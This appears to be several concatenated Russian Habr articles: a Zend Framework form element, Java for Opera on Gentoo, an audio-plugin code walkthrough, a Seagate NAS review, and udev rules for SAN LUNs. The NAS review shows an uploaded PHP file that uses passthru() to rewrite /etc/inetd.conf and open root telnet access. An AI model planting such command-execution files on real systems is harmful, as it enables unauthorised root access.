$xhtml .= '
var tl\_' . $elemId . ' = new $.TextboxList("#'
. $elemId. '", {unique: true, plugins: {autocomplete: {}}});
';
if ((int) $options['use\_autocompletion'] == 1) {
if (!$options['autocomplete\_script']) {
throw new Zend\_View\_Exception('No autocompletion backend is set for ' . \_\_CLASS\_\_ . ' plugin.');
} else {
$.getJSON('" . $options['autocomplete\_script'] . "', null, function (data) {
tl.plugins['autocomplete'].setValues(data);
tl.getContainer().removeClass('textboxlist-loading');
});";
}
}
$xhtml .= '';
return $xhtml;
}
}
```
##### 2.3. Инициализация через конфиг.
Она ничем не отличается от привычной многим:
```
elements.categories.type = textboxList
elements.categories.options.label = Categories
elements.categories.options.use_autocompletion = 1
elements.categories.options.autocomplete_script = /categories/ajax/get-all/
```
#### 3. Outro.
Таким образом, были создан отдельный элемент, который рисует совершенно новый тип инпутов.
Jquery плагин можно найти вон там — <http://devthought.com/projects/jquery/textboxlist/>.
Плагин имеет достаточно опций, которые не были реализованы в рамках этого компонента.И да, плагин не под свободной лицензией.
**UPD:**1. обновлено (см. [этот коммент](http://habrahabr.ru/blogs/zend_framework/126133/#comment_4153971) | https://habr.com/ru/post/126133/ | null | ru | null |
# Java с Opera 10 на Gentoo amd64
Взято с [блога Gentoo](http://ken.ath.cx/kens_code_pit/2009/09/21/java-with-opera-10-on-gentoo-amd64/) и переведено.
Запуск браузера Opera 64-битной сборки с поддержкой Java оказалось довольно просто.
Для начала убедитесь, что у вас есть последний sun-jdk: например dev-java/sun-jdk-1.6.0.16. Далее создаем симлинк:
`cd /opt/sun-jdk-1.6.0.16/jre/lib/amd64/`
Скорее всего, Opera, по умолчанию, обходит плагин и использует Java напрямую. Поэтому нужен симлинк с libjvm.so so для того чтобы Opera нашла его:
`ln -s server/libjvm.so .`
В настройках Java укажите путь `/opt/sun-jdk-1.6.0.16/jre/lib/amd64/` и перезапустите браузер (Tools --> Advanced --> Content). Проверьте на [тестовой странице](http://www.opera.com/media/applets/clock/).
P. S. У меня все заработало. | https://habr.com/ru/post/70210/ | null | ru | null |
# Создание аудиоплагинов, часть 2
Все посты серии:
[Часть 1. Введение и настройка](http://habrahabr.ru/post/224911/)
[Часть 2. Изучение кода](http://habrahabr.ru/post/225019/)
[Часть 3. VST и AU](http://habrahabr.ru/post/225457/)
[Часть 4. Цифровой дисторшн](http://habrahabr.ru/post/225751/)
[Часть 5. Пресеты и GUI](http://habrahabr.ru/post/225755/)
[Часть 6. Синтез сигналов](http://habrahabr.ru/post/226439/)
[Часть 7. Получение MIDI сообщений](http://habrahabr.ru/post/226573/)
[Часть 8. Виртуальная клавиатура](http://habrahabr.ru/post/226823/)
[Часть 9. Огибающие](http://habrahabr.ru/post/227475/)
[Часть 10. Доработка GUI](http://habrahabr.ru/post/227601/)
[Часть 11. Фильтр](http://habrahabr.ru/post/227791/)
[Часть 12. Низкочастотный осциллятор](http://habrahabr.ru/post/227827/)
[Часть 13. Редизайн](http://habrahabr.ru/post/228267/)
[Часть 14. Полифония 1](http://habrahabr.ru/post/231513/)
[Часть 15. Полифония 2](http://habrahabr.ru/post/231923/)
[Часть 16. Антиалиасинг](http://habrahabr.ru/post/232153/)
---
Давайте получше рассмотрим наш тестовый проект. Самые важные файлы — *resource.h*, *MyFirstPlugin.h* и *MyFirstPlugin.cpp*. На данный момент плагин представляет собой простой регулятор громкости звука.
Изучение кода
-------------
### Константы, флаги и источники изображений
Откройте в навигаторе *resource.h*. Этот файл содержит такие константы, как название плагина, его версию, уникальный ID и ссылки на источники изображений для GUI. В строках 23-26 можно прописать уникальный ID:
```
// 4 chars, single quotes. At least one capital letter
#define PLUG_UNIQUE_ID 'Ipef'
// make sure this is not the same as BUNDLE_MFR
#define PLUG_MFR_ID 'Acme'
```
ID важен для общей каталогизации плагинов. Можете зарегистрировать его [здесь](http://service.steinberg.de/databases/plugin.nsf/plugIn?openForm). Строки 56 и далее определяют ID и путь к изображению для той ручки громкости, которую вы видите при запуске плагина:
```
// Unique IDs for each image resource.
#define KNOB_ID 101
// Image resource locations for this plug.
#define KNOB_FN "resources/img/knob.png"
```
Найдите в навигаторе и откройте *Resources → img → knob.png*. Это спрайт с шестьюдесятью различными положениями ручки, каждое размером 48 на 48 пикселей. Когда вы запускаете плагин и крутите ручку, изображение ручки не вращается. Программа только показывает соответствующую часть этого спрайта.
Почему оно не вращается? Представьте себе, что ручка имеет какие-нибудь насечки и отбрасывает тень. Тогда при вращении тень тоже будет крутиться. Такого в действительности не бывает, как вы (надеюсь) знаете.
Ниже в resource.h можно установить размеры окна плагина:
```
#define GUI_WIDTH 300
#define GUI_HEIGHT 300
```
Поиграйтесь со значениями и запустите плагин.
### Интерфейс класса плагина
Откройте *MyFirstPlugin.h*. В нем содержится интерфейс для класса плагина. Часть `public` включает конструктор, деструктор и три функции-члена класса:
* `Reset` вызывается, когда изменяется частота дискретизации.
* `OnParamChange` вызывается при изменении параметров плагина, например, когда мы крутим ручку.
* `ProcessDoubleReplacing` это самое ядро плагина. Именно в ней осуществляется обработка входящего аудио.
В части `private` находится только переменная типа `double`, хранящая текущее значение громкости.
### Реализация
Переходим к интересной части! Откройте *MyFirstPlugin.cpp*. Сразу видим интересный приемчик с типом `enum`:
```
enum EParams
{
kGain = 0,
kNumParams
};
```
Устанавливая `kGain = 0` и ставя `kNumParams` после него, `kNumParams` становится количеством параметров плагина (в данном случае 1).
Следующий `enum` использует константы, описанные в *resource.h* и устанавливает координаты ручки в окне плагина:
```
enum ELayout
{
kWidth = GUI_WIDTH,
kHeight = GUI_HEIGHT,
kGainX = 100,
kGainY = 100,
kKnobFrames = 60
};
```
Он также определяет количества кадров в *knob.png* равным 60.
Далее начинается имплементация конструктора. Устанавливаются атрибуты плагина:
```
//arguments are: name, defaultVal, minVal, maxVal, step, label
GetParam(kGain)->InitDouble("Gain", 50., 0., 100.0, 0.01, "%");
```
В GUI пока что не видно ни значения, ни значка процента, но значение может меняться от `0` до `100`. Значение по умолчанию равно `50`. Можно заметить, что градация значений не равномерна на окружности. Это из-за `SetShape(2.)`. Если заменить это на `SetShape(1.)`, то распределение значений будет линейным. Именно `SetShape` задает нелинейное поведение.
Далее конструктор создает графический контекст нужного размера и задает фоновый красный цвет:
```
IGraphics* pGraphics = MakeGraphics(this, kWidth, kHeight);
pGraphics->AttachPanelBackground(&COLOR_RED);
```
После этого загружается *knob.png*, создается новый *IKnobMultiControl* с изображением и привязывается к GUI. `IKnobMultiControl` — это класс для ручек интерфейса.
Обратите внимание, как передается параметр kKnobFrames для обозначения количества кадров в спрайте:
```
IBitmap knob = pGraphics->LoadIBitmap(KNOB_ID, KNOB_FN, kKnobFrames);
pGraphics->AttachControl(new IKnobMultiControl(this, kGainX, kGainY, kGain, &knob));
```
Наконец, конструктор привязывает графический контекст и создает для плагина пресет по умолчанию:
```
MakeDefaultPreset((char *) "-", kNumPrograms);
```
Взглянем на `OnParamChange` (в конце файла). `IMutexLock` обеспечивает [потоковую безопасность](http://ru.wikipedia.org/wiki/Thread-safety) — концепт, который мы разберем попозже. Все остальное — это просто набор вариантов действий в зависимости от того, какой параметр изменяется:
```
case kGain:
mGain = GetParam(kGain)->Value() / 100.;
break;
```
Как мы помним, `kGain` изменяется от 0 до 100. Так что после деления значения на 100 мы назначаем величину от 0 до 1 `private` члену класса `mGain`.
Итак, мы немного разобрали процесс создания GUI и привязку к нему таких параметров, как `mGain`. Давайте теперь взглянем на то, как плагин обрабатывает входящее аудио. В нашем случае аудио поток — это последовательность семплов, представленная типом данных `double`, каждый из которых содержит значение амплитуды сигнала в заданный момент времени.
Первый параметр, передаваемый функции `ProcessDoubleReplacing`, это `double** inputs`. Последовательность значений типа `double` можно передать, используя `double*`. Но плагин обрабатывает два канала (стерео) или даже больше, так что нам нужны несколько последовательностей семплов, и мы сообщаем это при помощи `double**`. Первые две строки в функции иллюстрируют это:
```
double* in1 = inputs[0];
double* in2 = inputs[1];
```
`in1` указывает на первую последовательность семплов (левый канал), `in2` – на семплы правого канала. После выполнения аналогичных действий для выходного буфера мы можем итерировать над элементами входного и выходного буферов:
```
for (int s = 0; s < nFrames; ++s, ++in1, ++in2, ++out1, ++out2)
{
*out1 = *in1 * mGain;
*out2 = *in2 * mGain;
}
```
Для каждого семпла мы берем входное значение, умножаем его на `mGain` и записываем его в выходной буфер. `nFrames` сообщает нам, сколько семплов на канал имеется, чтобы мы знали длину буферов.
Вы могли заметить, что когда запускаете плагин как самостоятельное приложение, можно слышать себя из динамиков, если в компьютере есть встроенный микрофон. Это из-за того, что по умолчанию приложение использует этот микрофон как источник входного сигнала. Чтобы изменить это (и кое-что еще), зайдите в *preferences*:
Установите брэйкпоинт в функции `Reset`. Измените *Sampling Rate* справа и примените изменения. Отладчик прервет исполнение кода в функции `Reset`. Внизу справа, где работает `lldb`, Введите `print GetSampleRate()`.
Обратите внимание, что так же можно вызвать любую функцию из отладчика и посмотреть правильные значения. Нажмите *Stop* вверху слева, когда налюбуетесь и решите продолжить.
Теперь пора создать из кода плагин и загрузить его в хост. Это и будет темой следующего поста.
А пока что
### Дополнительное чтение
Чтобы заполнить некоторые пробелы, настоятельно рекомендую прочесть [эти слайды](http://olilarkin.blogspot.de/2012/01/m4u-convention-iplug-workshop-slides.html) авторства изобретательного г-на Оли Ларкина. В них найдутся некоторые из ключевых разъяснений о *WDL-OL*.
Оригинал статьи:
[martin-finke.de/blog/articles/audio-plugins-003-examining-the-code](http://martin-finke.de/blog/articles/audio-plugins-003-examining-the-code/) | https://habr.com/ru/post/225019/ | null | ru | null |
# Seagate Business Storage NAS 1-bay — хранение файлов и multimedia
В сети можно найти множество обзоров NAS серверов, но большинство их них будет посвящено «настоящим» NAS’ам типа Synology, QNAP.
Только вот стоимость только устройства без жестких дисков — несколько сот баксов. Я прекрасно понимаю, что оно того стоит, но, поскольку мои требования исключительно скромны, я стал искать что-то небольшое. И вот тут оказалось, что устройства, представляющие из себя скорее внешний диск с функцией NAS обозреваются не так часто, как хотелось бы.
Поскольку я сам потратил много времени на поиски и понимание, подойдет ли мне то или иное устройство, я решил описать свой опыт с Seagate Business Storage NAS 1-bay.
Начну, естественно, с описания своих задач, под которые данное устройство подбиралось. Порядок не соответствует значимости, мне были важны все перечисленные параметры. Причем цена на самом деле была не самым критичным параметром.
Итак, у меня уже был Seagate GoFlex Desk 2TB забитый уже почти полностью. Кроме того, интерфейс у него был USB 2.0, что с появлением Mac Air с USB 3.0 стало меня расстраивать. Конечно для этого диска есть сменный адаптер USB 3.0, но найти его в России не удалось, а продавцы на eBay/Amazon не желали слать в Россию.
Впрочем, мне все равно уже давно хотелось иметь доступ к данным на нем по сети, ибо неохота была таскать его с собой на балкон, да еще и заморачиваться с удлиннителями, от которых ноутбук отучил.
Так что решил найти себе NAS. Небольшой, поскольку даже имеющиеся 2TB еще не были полностью потрачены, а значительного роста данных, к которым необходим оперативный доступ, не предполагается.
Конечно, я сначала подумал о том, чтобы винчестер подключить к порту маршуртизатора, но сразу понял, что это будет ну совсем уж медленно, да и не даст мне других вкусностей. А именно:
— AFP (такое подключение с Mac Air предпочтительнее, нежели CIFS);
— Time Machine (достали периодические напоминания «вы не делали резервную копию на внешний диск уже более 10 дней»);
— DLNA клиент (да, с iPad и Android планшетов я иной раз смотрю запись какого-нибудь вебинара, тренинга, когда не требуется FullHD).
Были у меня сомнения, а не взять ли все-таки двухвинчестерный NAS, но у меня было еще требование — минимальное энергопотребление.
Дело в том, что у меня кинуто сразу 12V для маршрутизатора и сетевой камеры, которая шлет по motion detection картинки на внешнюю почту и видео на внешний FTP. И все это запитано от ИБП мощностью 72Вт с аккумулятором 14Ah (дабы при отключении рубильника извне злоумышленники все-таки были записаны). Естественно, и NAS я хотел туда же подключить, так что его 11Вт меня вполне устраивали (двухюнитовые вдвое прожорливее). И, конечно, то, что я увидел в характеристиках, что питание именно 12V, а не что-то специфическое, меня порадовало.
Пожалуй, что меня сильно волновало — это скорость. И для мелких устройств таких тестов очень не много. Впрочем, посмотрев на скорости «больших братьев» типа Synology я понял, что на 1Gbps интерфейсе я все равно получу скорость сравнимую с USB 2.0, так что все-таки для монтажа видео и подобных дел без внешнего USB 3.0/Thunderbolt не избавиться. Ну и ладно.
Так что я решился, тем более, что цена на такой NAS уже с винчестером 2TB была меньше 5 тыс руб. Кстати, аналогичный NAS с двумя отсеками (2-bay, 4TB) стоит около 8 тыс руб, что, что по-моему, меньше того же Synology вообще без дисков. Понятно, что и функционал не тот, но мне лишнего и не требовалось.
Итак, что же я получил по цене, не сильно превышающей стоимость обычного внешнего жесткого диска:
1) Подключение как с Mac Air по AFP, так и с Windows по CIFS на скорости около 30MBps (30 мегабайт в секунду, не мегабит). Т.е. если и медленнее старших братьев, то не драматически.
2) Доступ по DLNA ко всем медиа файлам (в т.ч. с iPad/Android).
С русскими буквами никаких проблем нет (ни в именах файлов, ни в именах папок).
iTunes формально есть, но меня не интересует, поскольку я привык по старинке упорядочивать данные по папкам. А в iTunes, насколько я понимаю, если в разных папках встречаются файлы с одинаковым названием, они и видны будут рядом, и получится мешанина. А прописывать теги, переименовывать, чтобы разок просмотреть ту или иную запись меня не прельщает.
Теперь немного подробностей. Стандартные спецификации переписывать не буду, обращу внимание лишь на то, что было важным для меня и чего я никак не мог найти в обзорах перед покупкой. Ну или не было явно акценированы интересующие меня возможности.
Есть 2 USB 3.0 порта. Т.е. чтобы перегнать данные со старого винчестера на NAS не обязательно нагружать компьютер. Можно подключить ввнешний винчестер (флешку) непосредственно к NAS и прямо из веб-интерфейса скомандовать из какой папки в какую скопировать. Работает в обе стороны (хоть с внешнего устройства на NAS, хоть наоборот).
Причем 1 USB порт сзади (туда при необходимости подключаю старый внешний винческтер). Второй — спереди. Туда удобно флешку подключать для быстрого обмена. Рядом есть кнопка, чтобы по нажатию заранее настроенный процесс копирования запускать.
Можно поключить и принтер (хотя мне удобнее принтер к роутеру подключать).
1 порт 1Gbs. Хотя в инструкции и написано, что нельзя подключать NAS непосредственно к компьютеру, а обязательно нужно через свич, я сначала подключил именно напрямую. И прекрасно все заработало (IP адреса они получили из пула 169.254.0.0). У аналогичной модели с 2 треями и 1Gbe портов 2 штуки. Якобы даже Link Aggregation можно сделать.
Настраивается и получение времени через ntp и даже отправка email в случае каких-то проблем (например, по документации, если температура превысит 55 градусов). Есть поддержка dyndns.com и no-ip.com
Для управления есть только Web интерфейс. Можно выбрать http или https. Но никакого SSH. Впрочем, ниже напишу, как получить доступ по telnet, если очень хочется.
Можно задать дисковые квоты. Есть даже Download Manager, но работает только с простыми файлами. Когда я пытался вставить туда ссылку для скачивания с youtube/vimeo, web интерфейс ругался на недопустимый символ &
Для особо важных файловых шар можно разрешить Recycle Bin. Т.е. удалил сдуру нечто — через web интерфейс можно восстановить, если вовремя спохватиться (по умолчанию 3 дня).
Есть Global Access. Т.е. регистрируешься на их сайте, а потом можешь любой файл удаленно с NAS выцепить.
Ну, я-то по-другому делаю. У меня просто все синхронизируется в Bitcasa (благо как старому клиенту у меня там 5TB за $99 в год). Так что если и понадобится срочно файл — с Биткасы возьму (или поделюсь с кем-то). Кстати, это еще одна причина, почему я не заморачивался с RAID-1 (имеется внешняя копия всего важного).
И, что удивило, есть встроенный wiki сервер. Зачем он для дома не очень понял. Включил, посмотрел и выключил.
Есть собственный Backup agent для компьютеров под Windows (5 лицензий). Пока не использовал. По описанию вызвал устойчивые ассоциации с Acronis. Mac бэкаплю через Time Machine.
Собственно, стоило открыть Time Machine, в списке доступных устройств сразу появилось .TMBACKUP. Никакого отдельного тома создавать или расшаренной папки не требуется.
Очень удобно, что даже через медленный WiFi все равно бэкап идет.
#### Сетевые протоколы
**CIFS** — для Windows машин, настраиваются права пользователей наиболее детально (только чтение, чтение-запись…).
Пользователей можно объединять в группы. Хотя дома вряд ли стоит особо заморачиваться, поскольку не вижу особого смысла создавать несколько файловых шар с одинаковыми правами для одной и той же группы.
Повторюсь, скорость хорошая — 30 MBps на чтение, 25 MBps на запись. Примерно как на USB 2.0. Это через 1Gbps подключение естественно. Через WiFi определяется уже скоростью вайфая (когда я сижу на балконе через три капитальные стены, скорость падает до 2 MBps, что, впрочем, тоже приемлемо. Примерно, как из интернета качать.
**AFP** — так я подключаюсь с Mac’а. Скорость такая же.
Про подключение к CIFS в Windows писать не интересно, а на Mac это выглядит так:
— NAS-1 (это я ему такое имя задал) определяется сам, т.е. я ничего для этого специально не делал (ну кроме как включил AFP);
— При нажатии на него спрашивается имя и пароль пользователя и появляется окошко с предлагаемыми ресурсами. Потом сохранил пароли в keychain и лишние вопросы исчезли;
— Уже смонтированные ресурсы (в частности nas1-All) серые. Доступные (nas1-anton и public) — черные.
Вот здесь небольшая подстава. Имя ресурса подмонитруется «как есть», и в случае нескольких NAS с одинаковым шарами можно запутаться.
Поэтому я переименовал изначально заданное anton и All в nas1-anton и nas1-All. К счастью, это можно делать с живыми данными, ничего не теряется.
— nas1-All уж был подмонтирован, так что прекрасно видно, что с русскими буквами все в порядке;
— можно подключить afp ресурс и, к примеру, из Safari. afp://nas-1/nas1-All (при необходимости будет запрошен пароль).
**NFS** — есть, но не пробовал (штатного клиента ни на маке ни на винде у меня нет)
**FTP** — есть, в т.ч. с SSL/TLS. Но скорость была ужасной (даже при подключении кросскабелем чуть больше 3MBps). Может и можно повысить, но особой нужы не было. Внутри на гигабите CIFS и AFP, а если снаружи захочу подключиться, так ограничение будет от Интернет канала. Хотя вряд ли захочу (выше уже писал про Bitcasa).
**Webdav** — есть, тоже можно настроить как с SSL, так и без.
Тут есть тонкость — название ресурса (добавляется shares). Если хочется просто посмотреть из браузера (ну, вдруг извне захотите), тогда [nas-1/shares/nas1-All](http://nas-1/shares/nas1-All)
Если браузер не поймет кодировку, можно вручную указать UTF-8. Достаточно единожды (при переходе по директориям уже все показывается правильно).
В Windows как диск у меня почему-то подмонтировалось только как https. Пока пытался как http указывать, вновь и вновь спрашивало пароль. Впрочем, «беззащитно» не очень то и хотелось.
Удивился, что ресурсы для FTP отдельно монтируются внутри устройства (/home/anton/ftp\_shares/nas1-All). В то время как webdav'ные /shares/nas1-All
~ # df -k
Filesystem 1K-blocks Used Available Use% Mounted on
rootfs 960504 422296 489416 47% /
/dev/root 960504 422296 489416 47% /
devtmpfs 126784 1664 125120 2% /dev
/dev/sda5 189403 6208 173416 4% /usr/config
/dev/sda7 983704 17608 916128 2% /downloads
tmpfs 126784 62592 64192 50% /var/volatile
none 126784 1664 125120 2% /dev
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /VolumeData/DataVolume
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /shares/nas1-anton
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /home/anton/ftp\_shares/nas1-anton
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /shares/public
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /Public/public
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /home/anton/ftp\_shares/public/public
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /shares/nas1-All
/dev/mapper/vg1-lv1 1941697856 1268489216 575741248 69% /home/anton/ftp\_shares/nas1-All
tmpfs 126784 0 126784 0% /dev/shm
tmpfs 126784 0 126784 0% /media/ram
**DLNA**
Используется простенький сервер minidlna. Настроек практически никаких. Только в нужных расшареных папках отмечается чекбокс Enable Media Server.
Да, разумеется, есть web интерфейс на русском, но переводы меня всегда очень путают, так что я использую английский. Но это просто моя прихоть.
Помимо включения Media Server есть настройка, как часто проверять новую музыку при использовании iTunes (раз в час, раз в 5 минут…).
Для просмотра по DLNA с iPad я использовал AVPlayerHD. Он поддерживает множество источников, в т.ч. UPnP/DLNA.
Temporary items задублированы поскольку присутствует как на nas1-anton, так и на nas1-All:
Вот и до русских букв добрались. Все прекрасно отображается и воспроизводится.
На Andoid я установил МедиаХауз UPnP / DLNA Browser. Собственно он только показывает список файлов, доступных через DLNA, а потом передает их в ваш любимый плеер (в моем случае MX Player).
Прекрасно работали mp4, avi, flv, mov, mpg и даже wmv
Думаю, это также зависит все-таки от вашего плеера, поскольку данный DLNA сервер очень простой и никаких перекодировок мы в нем не настраиваем. Ну, думаю мне не трудно будет конвертировать в подходящий формат, если вдруг понадобится.
Что, если на диске находится копия DVD диска (т.е. файлы VOB)?
На диске действительно VOB:
А вот через DLNA это почти то же самое, того же размера, но уже MPG, которые прекрасно воспроизводятся:
и на Андроиде:
Вот, собственно, и все. Просто все сразу заработало. Хотя, конечно, никакие торренты он качать не будет. Но мне и не требовалось.
#### Полный доступ
Тем не менее, если вдруг захочется получить к устройству полный доступ, это весьма легко.
1) Создать папку с доступом через webdav (просто поставить чекбокс при создании файловой шары)
2) Залить в нее маленький файлик sh.php с содержимым:
`php passthru("echo 'telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd’ >/etc/inetd.conf"); ?>`
Для проверки можно сначала дать «усеченную» команду:
`php passthru("echo 'telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd'"); ?`
И тогда в браузере (http://nas-1/shares/nas1-All/sh.php) увидите строчку, что в апострофах выше.
3) Предыдущая команда дописывает в /etc/inetd.conf строчку запуска демона telnet, поэтому после перезагрузки вы сможете заходить на устройство обычным телнетом
`telnet -l anton nas-1`
4) При необходимости работает команда
`su -`
пароль вводить пользователя admin. Но зайти сразу им не получится (я не зря пишу telnet -l anton)
Зачем это может понадобиться? Ну, мало ли. Вдруг fsck.ext4 /dev/sda1 захочется запустить… Ну или переместить файлы из одной шары в другую не прибегая к копированию через компьютер…
Хотя, к сожалению, это разные устройства, поэтому с одного ресурса на другой будет как с раздела на раздел переноситься, а не мгновенно.
Немного информации для интересующихся:
Linux NAS-1 2.6.35.13-cavm1.whitney-econa.whitney-econa #1 Fri Jul 26 15:34:47 PDT 2013 armv6l GNU/Linux
~ # netstat -na | grep LISTEN
tcp 0 0 0.0.0.0:548 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:8200 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:10123 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:9876 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:631 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:\* LISTEN
tcp 0 0 127.0.0.1:4700 0.0.0.0:\* LISTEN
tcp 0 0 0.0.0.0:445 0.0.0.0:\* LISTEN
unix 2 [ ACC ] STREAM LISTENING 5130 /tmp/php-fastcgi.socket-0
unix 2 [ ACC ] STREAM LISTENING 3343 /dev/backup\_manager\_socket
unix 2 [ ACC ] STREAM LISTENING 4897 /var/run/avahi-daemon/socket
unix 2 [ ACC ] STREAM LISTENING 5453 /var/run/cups/cups.sock
unix 2 [ ACC ] STREAM LISTENING 630 /usr/lib/python2.6/site-packages/shares/usbserversocket
unix 2 [ ACC ] STREAM LISTENING 2695 /dev/recycleBinCli\_Socket
unix 2 [ ACC ] STREAM LISTENING 4557 /var/run/dbus/system\_bus\_socket
unix 2 [ ACC ] STREAM LISTENING 5117 /var/run/AcronisAgent | https://habr.com/ru/post/231593/ | null | ru | null |
# Использование Linux в SAN сети. Маленькая хитрость
Всем доброго времени суток.
Я не думаю, что ситуация, описанная мной, типична для большинства, но тем не менее думаю это будет полезно знать. Мой рассказ о способе защиты «от дурака» в случае, когда у вас есть [SAN](http://ru.wikipedia.org/wiki/SAN) сеть, есть несколько СХД(Система хранения данных), которые не поддерживают технологию ограничения доступа к определённым LUN (Logical Unit Number) и серверы на базе Linux (в нашем случае все действия будут проводиться с использованием ОС SLES 10SP1).
#### Предыстория
В 2008 году мне пришлось вводить в строй вычислительную инфраструктуру одного заказчика. Была построена небольшая SAN сеть с некоторым количеством стораджей (порядка 10 штук разного класса). Большая часть этих стораджей предназначалась для построения файловой системы вычислительного кластера, поэтому изначально проблема была не очевидна и об этом даже не задумывались.
А проблема заключается в том, что для некоторых инфраструктурных подсистем был выделен сторадж, который не умеет ограничивать доступ к определённым LUN с определённых хостов (у каждого производителя она называется по разному Port Masking, LUN MAPPING и т.п.), правильнее сказать оно умеет это делать, но требуется покупка доп. лицензии, а этого сделано не было. И вот тут встала проблема — все серверы, которые подключаются к данному стораджу видят все его разделы. Вроде бы в этом нет ничего страшного, но надо защитить заказчика от возможности форматирования чужого раздела, т.к. данные каждой подсистемы очень важны.
Итого мы имеем:
* Систему хранения данных [LSI](http://lsi.com/storage_home/products_home/external_raid/6998_storage_system/index.html)(точнее одного из его партнёров)
* Серверы на базе SLES10 SP1 с двухголовым FC адаптером
* Огромное желание подстраховать себя и заказчика от ошибок.
#### Шаг первый, вступительный
Сразу оговорюсь для тех кто не имеет сильных познаний в теме:
Каждое устройство в SAN сети имеет уникальный адрес WWN(World Wide Name), это некий аналог MAC адреса сетевого адаптера, но, как и в случае Ethernet, коммутатор не знает что лежит внутри пакета, приходящего на коммутатор, поэтому сделать ограничение на коммутаторе (зонирование) нельзя, можно только ограничить область видимости Систем Хранения Данных для определённых узлов, что и было сделано.
Круг поиска решения ограничился следующими вариантами:
1. Наличие в драйвере возможности использования только определённых LUN
2. Использовать средства ОС для блокировки ненужных LUN
##### Первый вариант
Он отпал после того, как посмотрели информацию по данному модулю. В нем присутствует только опция для сканирования устройства и определяет максимальное кол-во LUN. Так что этот вариант отпадает
##### Второй вариант
Данный вариант сразу направляет нас «проводить земельные работы» в направление подсистемы udev. Именно она отвечает в linux за инициализацию устройств, присвоении им специализированных имен и прочих действий. Проще говоря, нам надо правильно описать правило для udev, которое создаст только необходимые нам устройства.
Забегая немного вперёд скажу, что данное решение ограничит только создание спец. устройств (вроде /dev/sdb, /dev/sdc и т.п.), но физически хост будет видеть все LUN, доступные ему.
#### Шаг второй, исследование
Приступим к детальному изучению темы.
После беглого изучения документации, а так же тех правил, что есть в системы можно вычленить следующие блоки, которые нам интересны:
1. Блок «SUBSYSTEM», который определяет подсистему. Подсистемы бывают трёх типов «block» (блочные устройства), «char» (символьные устройства) и «pipe» (устройства FIFO).
`man mknod`
Нас интересует подсистема «block», т.к. диски относятся именно к данному классу.
2. udev может просматривать атрибуты устройства. В них обычно хранятся различные данные, такие как:
* тип производителя,
* наименование модели,
* различные аппаратные данные.
Чтобы выяснить нужные нам параметры потребудется:
Утилита lssci — отображает все SCSI устройства, которые доступны в системы, а так же имя спец. устройства, которое закреплено за данным SCSI устройством
Утилита udevinfo — показывает все необходимые данные по запрашиваемому устройству.
Приступим:
Для начала нам надо отобразить список всех устройств, которые доступны на данном сервер:
`# lssci
SCSI ID TYPE VENDOR MODEL REV. device
[5:0:0:10] disk XXX YYYYY 0619 /dev/sdr
[5:0:0:20] disk XXX YYYYY 0619 /dev/sds
[5:0:0:21] disk XXX YYYYY 0619 /dev/sdu
......
[5:0:1:10] disk XXX YYYYY 0619 /dev/sdan
[5:0:1:20] disk XXX YYYYY 0619 /dev/sdao
[5:0:1:21] disk XXX YYYYY 0619 /dev/sdar`
Вывод данной команды будет большим, поэтому приведу только часть.
Таким образом, теперь мы знаем:
SCSI ID — идентификатор в формате H:B:T:L (Host:Bus:Target:Lun) Host — это порядковый номер адаптера, который отвечает за данное устройство, Bus(Channel) — номер SCSI канала на адаптере, Target — это номер FC порта на сторадже, LUN — идентификатор раздела, выделенного на сторадже.
VENDOR — имя производителя стораджа
MODEL — наименование модели
REV. — версия FirmWare на сторадже
device — спец. устройство доступное пользователю
В данной операции нас интересовало поле «device» и «SCSI ID». Остальные поля игнорируем.
3. Следующим шагом получим список атрибутов хранилища, которые нам необходимы:
* имя драйвера
* название производителя
* название модели
Для этого нам и понадобится утилита udevinfo, а так же файловая система sysfs (для версий ядра 2.6), т.к. именно в ней хранится все необходимая нам информация.
`# udevinfo -a -p /sys/block/sds
looking at device '/block/sds':
KERNEL=="sds"
SUBSYSTEM=="block"
SYSFS{stat}==" 151707 2355 3422965 430068 436954 12273 18585533 1098588 0 651944 1528756"
SYSFS{size}=="2129838080"
SYSFS{removable}=="0"
SYSFS{range}=="16"
SYSFS{dev}=="65:32"
looking at device '/devices/pci0000:00/0000:00:04.0/0000:08:00.0/host5/rport-5:0-0/target5:0:0/5:0:0:20':
ID=="5:0:0:20"
BUS=="scsi"
DRIVER=="sd"
SYSFS{ioerr_cnt}=="0x7"
SYSFS{iodone_cnt}=="0xec62d"
SYSFS{iorequest_cnt}=="0xec62d"
SYSFS{iocounterbits}=="32"
SYSFS{retries}=="5"
SYSFS{timeout}=="60"
SYSFS{state}=="running"
SYSFS{rev}=="0619"
SYSFS{model}=="YYYYY "
SYSFS{vendor}=="XXX "
SYSFS{scsi_level}=="6"
SYSFS{type}=="0"
SYSFS{queue_type}=="simple"
SYSFS{queue_depth}=="64"
SYSFS{device_blocked}=="0"
....
looking at device '/devices/pci0000:00/0000:00:04.0/0000:08:00.0':
ID=="0000:08:00.0"
BUS=="pci"
DRIVER=="mptfc"
SYSFS{modalias}=="pci:v00001000d00000646sv00001000sd00001020bc0Csc04i00"
SYSFS{local_cpus}=="00000000,00000000,00000000,0000000f"
SYSFS{irq}=="169"
SYSFS{class}=="0x0c0400"
SYSFS{subsystem_device}=="0x1020"
SYSFS{subsystem_vendor}=="0x1000"
SYSFS{device}=="0x0646"
SYSFS{vendor}=="0x1000"`
